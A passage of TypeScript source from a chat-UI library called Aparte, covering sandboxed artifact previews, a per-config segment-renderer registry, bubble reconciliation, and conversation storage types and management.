as Record<string, string>)[kind] ?? 'txt';\n const baseTitle = (segment.title ?? labelForKind(kind)).trim();\n const safeBase = slugifyForFilename(baseTitle) || 'artifact';\n const filename = `${safeBase}.${ext}`;\n const mime = segment.mimeType || 'text/plain';\n const blob = new Blob([content], { type: mime });\n const url = URL.createObjectURL(blob);\n const a = document.createElement('a');\n a.href = url;\n a.download = filename;\n a.style.display = 'none';\n document.body.appendChild(a);\n a.click();\n document.body.removeChild(a);\n setTimeout(() => URL.revokeObjectURL(url), 1000);\n}\n\nfunction slugifyForFilename(text: string): string {\n const lower = text.trim().toLowerCase();\n let out = '';\n let prevDash = false;\n for (let i = 0; i < lower.length && out.length < 40; i++) {\n const ch = lower[i]!;\n const isAlnum = (ch >= 'a' && ch <= 'z') || (ch >= '0' && ch <= '9');\n if (isAlnum) { out += ch; prevDash = false; continue; }\n if (!prevDash && out.length > 0) { out += '-'; prevDash = true; }\n }\n if (out.endsWith('-')) out = out.slice(0, -1);\n return out;\n}\n\n/**\n * The LATEST segment for a mounted artifact card.\n *\n * `setup()` runs once and closes over the segment it was handed; the bubble builds a\n * fresh object on every `updateSegment`, so that closure freezes the artifact as it\n * was when it was ADDED — which for anything streamed is `content: ''`. Pressing\n * Preview then ran an empty document. Gesture-gating the frame moved the read from\n * `update()` (which always had the current segment) into a closure that did not, and\n * the test written with it never streamed, so it could not see this.\n */\nconst latestSegment = new WeakMap<HTMLElement, AparteArtifactSegment>();\n\nfunction mountPreviewFrame(element: HTMLElement, fallback: AparteArtifactSegment): void {\n const pane = element.querySelector('.aparte-art-card__pane[data-pane=\"preview\"]');\n if (!pane || pane.querySelector('iframe')) return;\n\n // The latest segment, not the one the closure captured — see `latestSegment`.\n const segment = latestSegment.get(element) ?? fallback;\n const kind = segment.artifactType || deriveArtifactKind(segment.mimeType ?? '', 'text');\n if (!PREVIEWABLE_KINDS.has(kind)) return;\n\n const title = segment.title?.trim() || labelForKind(kind);\n const build = contextConfig().getArtifactPreviewBuilder() ?? buildSafePreviewDocument;\n const srcdoc = build(kind, stripCodeFences(segment.content || ''), title);\n\n /*\n * `sandbox=\"allow-scripts\"` and nothing else: no `allow-same-origin` (opaque\n * origin — the frame cannot read this page, its storage, or the key), no\n * `allow-forms` (it cannot POST out), no `allow-top-navigation` (it cannot move\n * the tab), no `allow-popups`.\n *\n * It CAN navigate itself, which no sandbox token and no CSP directive prevents —\n * see the note on PREVIEW_CSP. `referrerpolicy=\"no-referrer\"` at least keeps the\n * host URL out of that request.\n */\n pane.innerHTML = `<iframe class=\"aparte-art-card__frame\"`\n + ` sandbox=\"allow-scripts\"`\n + ` csp=\"${escapeAttr(PREVIEW_CSP)}\"`\n + ` referrerpolicy=\"no-referrer\" loading=\"lazy\"`\n + ` title=\"${escapeAttr(title)}\" srcdoc=\"${escapeAttr(srcdoc)}\"></iframe>`;\n}\n","/**\n * Aparte Segment Renderers\n * Built-in renderers for core segment types\n */\n\nimport type {\n AparteSegmentBase,\n AparteSegmentRenderer,\n} from '../types/index.js';\n// Renderers are plain functions: they read the ambient config set by the\n// invoking component (runWithConfig), falling back to an element when one is\n// in scope for late executions (event handlers, window-event callbacks) —\n// see config-context.ts. `contextConfig()` with no element = ambient or global.\nimport { contextConfig } from '../config/index.js';\nimport { aparteGlobalConfig } from '../config/index.js';\nimport type { AparteConfig } from '../config/index.js';\n// The artifact card — the one renderer big enough to have its own file, plus the\n// two paths it delegates to.\n// The nine built-in renderers, one file each under ./segments/. This module is the\n// REGISTRY: it owns which renderer draws which segment type, per config, and the\n// style injection they share. It knows nothing about how any of them render.\nimport { textRenderer } from './segments/text.js';\nimport { thinkingRenderer } from './segments/thinking.js';\nimport { codeRenderer } from './segments/code.js';\nimport { terminalRenderer } from './segments/terminal.js';\nimport { errorRenderer } from './segments/error.js';\nimport { progressRenderer } from './segments/progress.js';\nimport { fileTreeRenderer } from './segments/file-tree.js';\nimport { toolCallRenderer } from './segments/tool-call.js';\nimport { pipelineWaitingRenderer } from './segments/pipeline-waiting.js';\nimport { artifactRenderer } from './segments/artifact/card.js';\n// The binary path's bookkeeping hook. Installed from the two registration entry\n// points below rather than at module load — see its own comment for why a bundler\n// makes that difference matter.\nimport { installArtifactReadyHook } from './segments/artifact/binary-file.js';\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Utilities\n// ─────────────────────────────────────────────────────────────────────────────\n\n\n\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Renderer Registry\n// ─────────────────────────────────────────────────────────────────────────────\n\n/**\n * One registry PER CONFIG, not one per module.\n *\n * The wrappers all advertise a `config` prop for \"several independently configured\n * chats on one page\", and until 0.8.0 no plugin could honour it. That was fixed for\n * what a plugin registers on the config — markdown, highlighting, model preferences\n * — but segment renderers stayed in a module-level `Map`, so two chats could not\n * render the same segment type differently. This closes that half.\n *\n * A WeakMap rather than fields on `AparteConfig`: that class is already the\n * largest thing in the package and the audit named its size as the ceiling. Keying\n * the state here keeps it next to the code that reads it, and it is collected with\n * the config it belongs to.\n *\n * `styleElement` stays module-level on purpose — renderer CSS is injected once per\n * DOCUMENT, and two configs on one page share that document.\n */\ninterface RendererRegistry {\n renderers: Map<string, AparteSegmentRenderer>;\n /** Set once the built-ins have been filled in, so the sweep runs at most once. */\n defaultsInstalled: boolean;\n /** Set when an app explicitly said it brings its own (AparteClient autoRegister: false). */\n defaultsDeclined: boolean;\n}\n\nconst registries = new WeakMap<AparteConfig, RendererRegistry>();\n\nfunction registryFor(config: AparteConfig): RendererRegistry {\n let reg = registries.get(config);\n if (!reg) {\n reg = { renderers: new Map(), defaultsInstalled: false, defaultsDeclined: false };\n registries.set(config, reg);\n }\n return reg;\n}\n\n/**\n * The renderers a config can actually draw with: its own, plus whatever was\n * registered on the global singleton, with its own winning on a clash.\n *\n * An instance config INHERITS global registrations, and it has to. The documented\n * call is `registerSegmentRenderer(myRenderer)` at app startup — no element, no\n * ambient render config, so `contextConfig()` resolves the global. A chat given a\n * `config` prop then resolved its own registry and found nothing there: the\n * renderer a consumer had registered the only documented way was invisible to\n * every chat that used the feature the `config` prop exists for.\n *\n * A config that DECLINED the built-ins inherits nothing — it said it brings its\n * own everything, and quietly handing it the global's renderers would turn\n * `autoRegister: false` back into a no-op, which is the exact thing the decline\n * latch was added to prevent.\n *\n * Known edge, deliberately not solved: an instance cannot suppress a type that the\n * global registers. That needs a tombstone, and wanting to inherit is far commoner\n * than wanting to subtract.\n */\nfunction effectiveRenderers(config: AparteConfig): Map<string, AparteSegmentRenderer> {\n const own = registryFor(config);\n if (config === aparteGlobalConfig || own.defaultsDeclined) return own.renderers;\n const merged = new Map(registryFor(aparteGlobalConfig).renderers);\n for (const [type, renderer] of own.renderers) merged.set(type, renderer);\n return merged;\n}\n\nlet styleElement: HTMLStyleElement | null = null;\n\n/**\n * Register a segment renderer.\n *\n * `config` defaults to the ambient render config, which at app startup — no\n * element, no active render — is the global singleton. That is the right default:\n * a chat with its own `config` inherits global registrations. Pass a config\n * explicitly only to give ONE chat a renderer the others must not have.\n */\nexport function registerSegmentRenderer<T extends AparteSegmentBase>(\n renderer: AparteSegmentRenderer<T>,\n config: AparteConfig = contextConfig(),\n): void {\n registryFor(config).renderers.set(renderer.type, renderer as AparteSegmentRenderer);\n injectRendererStyles(config);\n}\n\n/**\n * Remember that the app declined the built-in renderers, so\n * {@link installDefaultRenderersOnce} stays out of the way for good.\n *\n * `AparteClient({ autoRegister: false })` is the one caller. Without this latch the\n * lazy install below would quietly turn that option into a no-op.\n */\nexport function declineDefaultRenderers(config: AparteConfig = contextConfig()): void {\n registryFor(config).defaultsDeclined = true;\n}\n\n/**\n * Fill in the built-in renderers for the types nobody has claimed — called by the\n * bubble the first time a segment has no renderer.\n *\n * Why lazily and not at import time: **`registerDefaultRenderers()` used to have\n * exactly one caller, `new AparteClient()`.** An app on the bring-your-own-loop\n * path — the one the guide tells you not to construct a client on — rendered\n * `[Unknown segment type: text]` for every reply. Bubbles, streaming and scrolling\n * all worked; only the content was missing, which reads as a bug in the consumer's\n * own loop, not as a missing call.\n *\n * Strictly additive: a type someone registered themselves is never replaced, so a\n * custom `text` renderer survives the sweep triggered by a `code` segment.\n */\nexport function installDefaultRenderersOnce(config: AparteConfig = contextConfig()): void {\n const reg = registryFor(config);\n if (reg.defaultsInstalled || reg.defaultsDeclined) return;\n reg.defaultsInstalled = true;\n for (const renderer of DEFAULT_RENDERERS) {\n if (!reg.renderers.has(renderer.type)) reg.renderers.set(renderer.type, renderer);\n }\n injectRendererStyles(config);\n installArtifactReadyHook();\n}\n\n/**\n * Unregister a segment renderer\n */\nexport function unregisterSegmentRenderer(type: string, config: AparteConfig = contextConfig()): void {\n registryFor(config).renderers.delete(type);\n}\n\n/**\n * Get renderer for a segment type\n */\nexport function getSegmentRenderer(\n type: string,\n config: AparteConfig = contextConfig(),\n): AparteSegmentRenderer | undefined {\n return effectiveRenderers(config).get(type);\n}\n\n/**\n * Get all registered renderers\n */\nexport function getAllRenderers(config: AparteConfig = contextConfig()): readonly AparteSegmentRenderer[] {\n return Array.from(effectiveRenderers(config).values());\n}\n\n/**\n * Collect all renderer styles for one config.\n *\n * Its OWN renderers, not the inherited view: a config that inherits the global's\n * renderers also inherits their stylesheet, which the global already injected.\n */\nexport function collectRendererStyles(config: AparteConfig = contextConfig()): string {\n return Array.from(registryFor(config).renderers.values())\n .map(r => r.getStyles?.() || '')\n .filter(Boolean)\n .join('\\n');\n}\n\n/**\n * Inject a config's renderer styles into the document head.\n *\n * Takes the config, and ACCUMULATES rather than replaces. Both matter.\n *\n * It used to take nothing and assign `collectRendererStyles()` — no argument — so\n * the styles collected were `contextConfig()`'s. At app startup there is no ambient\n * render config, which means the global singleton's: a renderer registered on an\n * instance config wrote into that config's registry and then had the GLOBAL's\n * stylesheet re-emitted over it. The renderer drew, unstyled, and nothing said so.\n *\n * Accumulating (rather than assigning the latest config's sheet) is the other half:\n * one `<style>` serves the whole document, so the second config to register must\n * not erase the first one's rules. Deduped per renderer stylesheet, so the\n * built-ins shared by every config are emitted once.\n */\nconst injectedRendererStyles = new Set<string>();\n\nexport function injectRendererStyles(config: AparteConfig = contextConfig()): void {\n if (typeof document === 'undefined') return;\n\n // `isConnected` as well as null: a detached element still satisfied the old\n // check, so once anything removed the sheet — a test teardown, a framework\n // hot-reload, a consumer tidying `<head>` — every later injection wrote into a\n // node no document could see, and every renderer after that point drew\n // unstyled. Found by a test's own cleanup.\n if (!styleElement || !styleElement.isConnected) {\n styleElement = document.createElement('style');\n styleElement.id = 'aparte-renderer-styles';\n document.head.appendChild(styleElement);\n // A fresh sheet holds nothing, so everything has to be re-emitted into it.\n styleElement.textContent = Array.from(injectedRendererStyles).join('\\n');\n }\n\n let added = false;\n for (const renderer of registryFor(config).renderers.values()) {\n const css = renderer.getStyles?.();\n if (!css || injectedRendererStyles.has(css)) continue;\n injectedRendererStyles.add(css);\n added = true;\n }\n if (added) styleElement.textContent = Array.from(injectedRendererStyles).join('\\n');\n}\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Text Renderer\n// ─────────────────────────────────────────────────────────────────────────────\n\n\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Thinking Renderer\n// ─────────────────────────────────────────────────────────────────────────────\n\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Code Renderer\n// ─────────────────────────────────────────────────────────────────────────────\n\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Terminal Renderer\n// ─────────────────────────────────────────────────────────────────────────────\n\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Error Renderer\n// ─────────────────────────────────────────────────────────────────────────────\n\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Progress Renderer\n// ─────────────────────────────────────────────────────────────────────────────\n\n\n// ─────────────────────────────────────────────────────────────────────────────\n// File Tree Renderer\n// ─────────────────────────────────────────────────────────────────────────────\n\n\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Exports\n// ─────────────────────────────────────────────────────────────────────────────\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Tool Call Renderer (default — shown when no per-tool renderer is registered)\n// ─────────────────────────────────────────────────────────────────────────────\n\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Pipeline Waiting Renderer — pulsing dots between pipeline phases\n// ─────────────────────────────────────────────────────────────────────────────\n\n\nexport function registerDefaultRenderers(config: AparteConfig = contextConfig()): void {\n registryFor(config).defaultsInstalled = true;\n for (const renderer of DEFAULT_RENDERERS) registerSegmentRenderer(renderer, config);\n installArtifactReadyHook();\n}\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Artifact Renderer — INLINE CARD with Code/Preview tabs\n//\n// Replaces the previous \"pill that opens a side panel\" UX. The artifact now\n// lives directly inside the chat as a card the user can interact with:\n// - Code tab: syntax-highlighted source (always available)\n// - Preview tab: sandboxed iframe (only for previewable kinds)\n// - Actions: copy, download\n//\n// During streaming the Code tab is active and the iframe is not built. As soon\n// as `isStreaming` flips to false, the card switches to Preview (when\n// previewable) and lazily builds the srcdoc.\n// ─────────────────────────────────────────────────────────────────────────────\n\n\n\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Binary file artifact helpers (xlsx/pdf/docx)\n// ─────────────────────────────────────────────────────────────────────────────\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n// ─── Char-based helpers (no regex) ───────────────────────────────────────────\n\n\n\n// ─── Preview document builder (CDN-FREE offline fallback) ────────────────────\n// Core ships only an OFFLINE-safe preview: svg/css/html/js render with zero\n// network, and richer kinds (react/…) degrade to a read-only code view. The\n// product opts into a CDN-powered live preview (React/Babel/Tailwind) by\n// registering a builder via `aparteGlobalConfig.setArtifactPreviewBuilder()`. Core must\n// stay framework-agnostic and zero-network, so no CDN URLs live here.\n\n/**\n * Create the preview frame — the ONLY place it is created, and only ever from a\n * real user press on the Preview tab.\n *\n * Idempotent: pressing Preview, Code, then Preview again reuses the frame rather\n * than re-running the artifact.\n *\n * Two containments, and it is worth being precise about what each buys:\n * - `sandbox=\"allow-scripts\"` (no allow-same-origin) gives the frame an opaque\n * origin, so it cannot touch the host page, its DOM, or its storage.\n * - `csp` shrinks what it can reach OUTWARD — the sandbox alone still allows\n * `fetch()` to any origin, which is how an injected artifact would exfiltrate\n * or beacon. Note honestly that the `csp` ATTRIBUTE is Chromium-only; the\n * portable half is the `<meta http-equiv>` that `buildSafePreviewDocument`\n * puts inside the documents we build ourselves.\n */\n\n\n\n// ─────────────────────────────────────────────────────────────────────────────\n// The built-in set\n// ─────────────────────────────────────────────────────────────────────────────\n\n/**\n * Every renderer core ships. One list, read by both the explicit\n * `registerDefaultRenderers()` and the lazy {@link installDefaultRenderersOnce} —\n * so a new built-in type cannot be added to one path and forgotten in the other.\n */\nconst DEFAULT_RENDERERS = [\n textRenderer,\n thinkingRenderer,\n codeRenderer,\n terminalRenderer,\n errorRenderer,\n progressRenderer,\n fileTreeRenderer,\n toolCallRenderer,\n artifactRenderer,\n pipelineWaitingRenderer,\n] as readonly AparteSegmentRenderer[];\n","import type {\n AparteAttachment,\n AparteMessage,\n AparteSegment,\n AparteSiblingInfo,\n AparteUsage,\n} from '../../types/index.js';\n\n/**\n * Minimal structural type representing the imperative slice of `AparteChatBubble`\n * needed to reconcile a message into a bubble. Declared loosely so framework\n * wrappers can pass any element that exposes the same surface (custom element\n * registered cross-context, mocked test double, etc.) without dragging the\n * concrete `AparteChatBubble` class through every wrapper's typing.\n */\nexport interface SyncableBubble {\n getSegments?: () => AparteSegment[];\n setSegments?: (segments: AparteSegment[]) => void;\n updateSegment?: (segmentId: string, updates: Partial<AparteSegment>) => void;\n setContent?: (content: string) => void;\n setAttachments?: (attachments: AparteAttachment[]) => void;\n setSiblings?: (count: number, index: number) => void;\n setUsage?: (usage: AparteUsage | null | undefined) => void;\n}\n\n/**\n * Reconcile a bubble element with a message and optional sibling metadata.\n *\n * **For framework wrappers** (Angular, React, Vue, Svelte) that own bubble\n * creation through their own template engine. After the framework has\n * mounted/diffed its bubbles, call this helper for each (bubble, message,\n * siblingInfo) tuple to push the imperative state — segments, attachments,\n * and the sibling-picker — that cannot travel via attribute bindings.\n *\n * The default vanilla viewport (`AparteChatViewport` with `_frameworkManagedDOM\n * === false`) uses this helper internally, so the contract stays in lockstep\n * across the core and every wrapper.\n *\n * Idempotent. Safe to call on every render. Segment count drives the strategy:\n * - same count → reconcile content per segment (cheap, preserves user-toggled\n * <details> open/closed state on thinking blocks, etc.)\n * - count changed (new segment streamed, branch switched, etc.) → full rebuild\n * via setSegments\n *\n * Plain `content` is only pushed when no segments are present — segments take\n * precedence in the bubble's render logic.\n *\n * Sibling-picker is only shown when `siblingInfo.count > 1`; below that, the\n * bubble hides the picker on its own.\n */\nexport function populateBubbleFromMessage(\n bubble: SyncableBubble,\n message: AparteMessage,\n siblingInfo?: AparteSiblingInfo,\n): void {\n if (message.segments && message.segments.length > 0) {\n const existing = bubble.getSegments?.() ?? [];\n if (existing.length === message.segments.length) {\n // A re-sync of a message that is NOT actively streaming (load,\n // branch switch, post-completion re-render) stamps its segments\n // `isStreaming: false`. The text renderer then reconciles via the\n // one-shot Markdown path — the incremental streaming parser buffers\n // its trailing token-lookahead and would otherwise drop a final\n // glyph (e.g. an emoji). A still-streaming message is left alone so\n // its live incremental rendering (partial **bold**, …) is intact.\n const settled = message.status != null\n && message.status !== 'streaming' && message.status !== 'pending';\n for (const seg of message.segments) {\n if ('content' in seg) {\n const patch = { content: (seg as { content: unknown }).content } as Partial<AparteSegment>;\n if (settled) (patch as { isStreaming?: boolean }).isStreaming = false;\n bubble.updateSegment?.(seg.id, patch);\n }\n }\n } else {\n bubble.setSegments?.(message.segments);\n }\n } else if (message.content !== undefined) {\n bubble.setContent?.(message.content);\n }\n\n if (message.attachments && message.attachments.length > 0) {\n bubble.setAttachments?.(message.attachments);\n }\n\n if (siblingInfo && siblingInfo.count > 1) {\n bubble.setSiblings?.(siblingInfo.count, siblingInfo.index);\n }\n\n if (message.usage !== undefined) {\n bubble.setUsage?.(message.usage);\n }\n}\n","import type { AparteMessage } from '../types/index.js';\nimport type { ExportedMessageRepository } from '../runtime/message-repository.js';\n\n/**\n * Current schema version for `AparteConversation`. Bump when the persisted\n * shape evolves so adapters / migrations can branch on it.\n *\n * v1: monolithic — `messages[]` inline on the conversation row, attachment\n * `url` was a session-scoped blob URL (lost on reload), artifacts inline\n * in segments only.\n * v2: split — meta-only conversation row; messages, attachments (with real\n * `Blob`s), artifacts (gallery index), memory facts and settings each\n * get their own table. Sidebar can list without loading full payloads.\n */\nexport const APARTE_CONVERSATION_SCHEMA_VERSION = 2 as const;\n\n/**\n * A single conversation (thread) — framework-agnostic.\n */\nexport interface AparteConversation {\n id: string;\n /** Auto-generated from the first user message (≤50 chars). */\n title: string;\n createdAt: number;\n updatedAt: number;\n messages: AparteMessage[];\n /**\n * Full branching tree snapshot. When present, the conversation has branch\n * history (edits, retries, sibling responses) and is loaded via `importTree`\n * rather than the flat `messages` array.\n *\n * `messages` always mirrors the active path for backward-compatibility\n * (sidebar previews, title generation, adapters that only read flat arrays).\n */\n tree?: ExportedMessageRepository;\n /** When truthy the conversation is archived (hidden from the main list). */\n archivedAt?: number;\n /** When truthy the conversation is pinned at the top of the list. */\n pinnedAt?: number;\n /** Optional folder/tag id for organisation (V2+). */\n folderId?: string;\n /**\n * Schema version of this record. Absent on legacy data (pre-versioning):\n * adapters should treat `undefined` as version 0 and migrate on read.\n */\n schemaVersion?: number;\n}\n\n/**\n * Lightweight conversation meta — what's needed to render the sidebar without\n * loading the full message history. Returned by `loadMeta()` and stored as a\n * dedicated row by split-storage adapters.\n */\nexport interface AparteConversationMeta {\n id: string;\n title: string;\n createdAt: number;\n updatedAt: number;\n archivedAt?: number;\n pinnedAt?: number;\n folderId?: string;\n /** Truncated last message body (≤200 chars) — for sidebar previews. */\n lastMessagePreview?: string;\n /** Cached message count for the sidebar badge / archive logic. */\n messageCount?: number;\n /** Sum of input+output tokens across messages, when available. */\n totalTokens?: number;\n /** Persisted schema version of the row. */\n schemaVersion?: number;\n}\n\n/**\n * Memory fact — durable user facts stored across all conversations.\n * Surfaces in the memory panel and is consulted by the orchestrator to\n * personalise replies.\n */\nexport interface AparteMemoryFact {\n id: string;\n /** Coarse category — drives the icon/colour in the panel. */\n type: 'identity' | 'fact' | 'preference' | 'tech' | 'project' | 'style';\n content: string;\n /** Where the fact came from. `auto` = regex-detected, `manual` = user input. */\n source?: 'manual' | 'auto' | 'onboarding';\n addedAt: number;\n /** Last time the fact was selected as relevant for a reply. */\n lastUsedAt?: number;\n /** Conversation that produced an auto-detected fact (for traceability). */\n sourceConvId?: string;\n /** Message inside `sourceConvId` that triggered the auto-detection. */\n sourceMsgId?: string;\n}\n\n/**\n * Artifact gallery row — denormalised index of every artifact segment ever\n * produced, so the gallery can list/filter without scanning every message.\n * The source of truth remains the artifact segment inside its message; this\n * row is rebuilt by the storage adapter on every save.\n */\nexport interface AparteArtifactRow {\n id: string;\n convId: string;\n msgId: string;\n name: string;\n mimeType: string;\n artifactType: string;\n /** Full body — duplicated from the source segment for fast gallery preview. */\n content: string;\n title?: string;\n /** Snapshot of the message timestamp; used for \"newest first\" gallery sort. */\n updatedAt: number;\n}\n\n/**\n * Persisted attachment with the actual Blob — survives page reloads, unlike\n * the session-scoped `URL.createObjectURL()` stored on `AparteMessage`.\n * Adapters that split storage MUST keep the blob here and reconstruct the\n * `url` on demand.\n */\nexport interface AparteAttachmentRow {\n id: string;\n convId: string;\n msgId: string;\n name: string;\n mimeType: string;\n size: number;\n blob: Blob;\n}\n\n/**\n * Implement this interface to provide persistence for conversations.\n * All methods are async so any backend (IndexedDB, SQLite WASM, REST API…)\n * can be used. The AparteConversationManager never touches storage directly.\n *\n * The first three methods (`loadAll`, `save`, `delete`) form the minimum\n * viable adapter — everything else is optional and lets richer backends\n * expose split-storage features (fast meta listing, memory, settings,\n * artifact gallery, attachment blobs).\n */\nexport interface AparteStorageAdapter {\n /** Return all stored conversations (full payload), ordered by updatedAt desc. */\n loadAll(): Promise<AparteConversation[]>;\n /** Upsert a conversation (create or update). */\n save(conv: AparteConversation): Promise<void>;\n /** Permanently delete a conversation by id (cascades related rows). */\n delete(id: string): Promise<void>;\n /** Archive a conversation (soft-delete). Optional. */\n archive?(id: string): Promise<void>;\n /** Restore an archived conversation. Optional. */\n unarchive?(id: string): Promise<void>;\n\n // ── Split-storage extensions ────────────────────────────────────────────\n\n /**\n * Fast sidebar listing. Returns lightweight meta only (no messages).\n * Order is `updatedAt` desc. Adapters without split storage can omit\n * this — callers should fall back to `loadAll()` mapping to meta.\n */\n loadMeta?(): Promise<AparteConversationMeta[]>;\n /** Lazy-load a single conversation's full payload by id. */\n loadFull?(id: string): Promise<AparteConversation | null>;\n /** Pin/unpin (`pinnedAt`-aware sidebar sort). */\n pin?(id: string): Promise<void>;\n unpin?(id: string): Promise<void>;\n /** Update only the conversation title (avoids rewriting messages). */\n rename?(id: string, title: string): Promise<void>;\n\n // ── Memory ──────────────────────────────────────────────────────────────\n\n getMemory?(): Promise<AparteMemoryFact[]>;\n addMemoryFact?(fact: AparteMemoryFact): Promise<void>;\n updateMemoryFact?(id: string, patch: Partial<AparteMemoryFact>): Promise<void>;\n deleteMemoryFact?(id: string): Promise<void>;\n clearMemory?(): Promise<void>;\n\n // ── Settings (k/v) ──────────────────────────────────────────────────────\n\n getSetting?<T = unknown>(key: string): Promise<T | undefined>;\n setSetting?<T = unknown>(key: string, value: T): Promise<void>;\n deleteSetting?(key: string): Promise<void>;\n getAllSettings?(): Promise<Record<string, unknown>>;\n\n // ── Gallery / lazy-loaded blobs ────────────────────────────────────────\n\n /** List artifacts; optionally scoped to a single conversation. */\n loadArtifacts?(filter?: { convId?: string }): Promise<AparteArtifactRow[]>;\n /** Persisted attachment blobs for a single message. */\n loadAttachments?(msgId: string): Promise<AparteAttachmentRow[]>;\n}\n","import type { AparteMessage } from '../types/index.js';\nimport type { AparteConversation, AparteStorageAdapter } from './types.js';\nimport type { ExportedMessageRepository } from '../runtime/message-repository.js';\nimport { APARTE_CONVERSATION_SCHEMA_VERSION } from './types.js';\nimport { uuid } from '../utils/uuid.js';\n\ntype Listener = (conversations: AparteConversation[]) => void;\n\nexport interface ConversationManagerOptions {\n /**\n * Opt-in history retention. When set, `updateMessages()` trims a persisted\n * conversation to at most `maxMessages` on the active path (dropping the\n * oldest history and the branches hanging off it) before writing to storage.\n * Omit for unbounded history (the default) — retention is a deliberate\n * consumer choice, never silent.\n */\n retention?: { maxMessages: number };\n}\n\n/**\n * Pure retention transform: keep at most `maxMessages` on the active path.\n *\n * Keeps the subtree rooted at the new-oldest kept message (so recent history AND\n * recent branches survive) and drops everything before it. Exported for testing.\n */\nexport function applyRetention(\n messages: AparteMessage[],\n tree: ExportedMessageRepository | undefined,\n maxMessages: number,\n): { messages: AparteMessage[]; tree: ExportedMessageRepository | undefined } {\n if (maxMessages <= 0 || messages.length <= maxMessages) return { messages, tree };\n const trimmedFlat = messages.slice(messages.length - maxMessages);\n const cutoffId = trimmedFlat[0]?.id;\n if (!cutoffId || !tree) return { messages: trimmedFlat, tree };\n\n const treeIds = new Set(tree.messages.map((m) => m.message.id));\n if (!treeIds.has(cutoffId)) return { messages: trimmedFlat, tree }; // flat/tree mismatch → don't corrupt\n\n const childrenOf = new Map<string, string[]>();\n for (const { message, parentId } of tree.messages) {\n if (parentId != null) {\n const arr = childrenOf.get(parentId) ?? [];\n arr.push(message.id);\n childrenOf.set(parentId, arr);\n }\n }\n const keep = new Set<string>();\n const queue = [cutoffId];\n while (queue.length) {\n const id = queue.pop()!;\n if (keep.has(id)) continue;\n keep.add(id);\n for (const child of childrenOf.get(id) ?? []) queue.push(child);\n }\n const trimmedTree: ExportedMessageRepository = {\n headId: tree.headId,\n messages: tree.messages\n .filter((m) => keep.has(m.message.id))\n .map((m) => (m.message.id === cutoffId ? { message: m.message, parentId: null } : m)),\n };\n return { messages: trimmedFlat, tree: trimmedTree };\n}\n\n/**\n * Framework-agnostic conversation manager.\n *\n * Usage:\n * ```ts\n * const manager = new AparteConversationManager(myAdapter);\n * await manager.init(); // load from storage\n * const conv = await manager.createNew(); // returns new AparteConversation\n * ```\n *\n * The manager emits synchronous notifications to registered listeners on every\n * mutation so framework wrappers (Angular signals, Vue reactive, etc.) can\n * react without polling.\n */\nexport class AparteConversationManager {\n private _adapter: AparteStorageAdapter;\n private _conversations: AparteConversation[] = [];\n private _activeId: string | null = null;\n private _listeners: Set<Listener> = new Set();\n private _initialized = false;\n private _retention: { maxMessages: number } | null = null;\n\n constructor(adapter: AparteStorageAdapter, options?: ConversationManagerOptions) {\n this._adapter = adapter;\n this._retention = options?.retention ?? null;\n }\n\n // ─── Initialisation ────────────────────────────────────────────────────\n\n /** Load all conversations from the adapter. Call once at app startup. */\n async init(): Promise<void> {\n this._conversations = await this._adapter.loadAll();\n this._initialized = true;\n this._notify();\n }\n\n /**\n * Whether `init()` has completed at least once. Consumers use this to\n * distinguish \"manager still hydrating from storage\" from \"manager\n * hydrated, conversations is genuinely empty\". The conversation-controller\n * relies on this to defer clearing the binding during the IndexedDB\n * hydration window (Angular APP_INITIALIZER race).\n */\n get initialized(): boolean {\n return this._initialized;\n }\n\n // ─── Read ───────────────────────────────────────────────────────────────\n\n get conversations(): AparteConversation[] {\n return this._conversations;\n }\n\n get activeId(): string | null {\n return this._activeId;\n }\n\n get active(): AparteConversation | null {\n if (!this._activeId) return null;\n return this._conversations.find(c => c.id === this._activeId) ?? null;\n }\n\n /** Active conversations (not archived), newest first. */\n get activeConversations(): AparteConversation[] {\n return this._conversations\n .filter(c => !c.archivedAt)\n .sort((a, b) => b.updatedAt - a.updatedAt);\n }\n\n /** Archived conversations, newest first. */\n get archivedConversations(): AparteConversation[] {\n return this._conversations\n .filter(c => !!c.archivedAt)\n .sort((a, b) => b.updatedAt - a.updatedAt);\n }\n\n // ─── Mutations ──────────────────────────────────────────────────────────\n\n /** Create a new empty conversation, persist it, and make it active. */\n async createNew(title = 'New Chat'): Promise<AparteConversation> {\n const now = Date.now();\n const conv: AparteConversation = {\n id: uuid(),\n title,\n createdAt: now,\n updatedAt: now,\n messages: [],\n schemaVersion: APARTE_CONVERSATION_SCHEMA_VERSION,\n };\n this._conversations = [conv, ...this._conversations];\n this._activeId = conv.id;\n await this._adapter.save(conv);\n this._notify();\n return conv;\n }\n\n /** Switch active conversation without touching storage. */\n select(id: string): void {\n if (!this._conversations.find(c => c.id === id)) return;\n this._activeId = id;\n this._notify();\n }\n\n /** Deselect the active conversation (no conv selected). */\n clearActive(): void {\n this._activeId = null;\n this._notify();\n }\n\n /** Append a message to a conversation. Auto-generates title from first user message. */\n async addMessage(convId: string, msg: AparteMessage): Promise<void> {\n const conv = this._find(convId);\n if (!conv) return;\n\n const isFirstUserMsg =\n msg.role === 'user' &&\n conv.messages.every(m => m.role !== 'user');\n\n const updated: AparteConversation = {\n ...conv,\n messages: [...conv.messages, msg],\n updatedAt: Date.now(),\n title: isFirstUserMsg ? this._autoTitle(msg) : conv.title,\n };\n this._replace(updated);\n await this._adapter.save(updated);\n this._notify();\n }\n\n /**\n * Replace the flat active-path messages and optionally the full branch tree.\n * `messages` is always written (active path, for sidebar/title/compat).\n * `tree` is written when provided — it carries the full branching topology.\n */\n async updateMessages(convId: string, messages: AparteMessage[], tree?: ExportedMessageRepository): Promise<void> {\n const conv = this._find(convId);\n if (!conv) return;\n // Opt-in history retention (bounds STORAGE, never the live session).\n if (this._retention) {\n ({ messages, tree } = applyRetention(messages, tree, this._retention.maxMessages));\n }\n // `updatedAt` drives the sidebar sort — bump it ONLY on a genuine\n // content change. 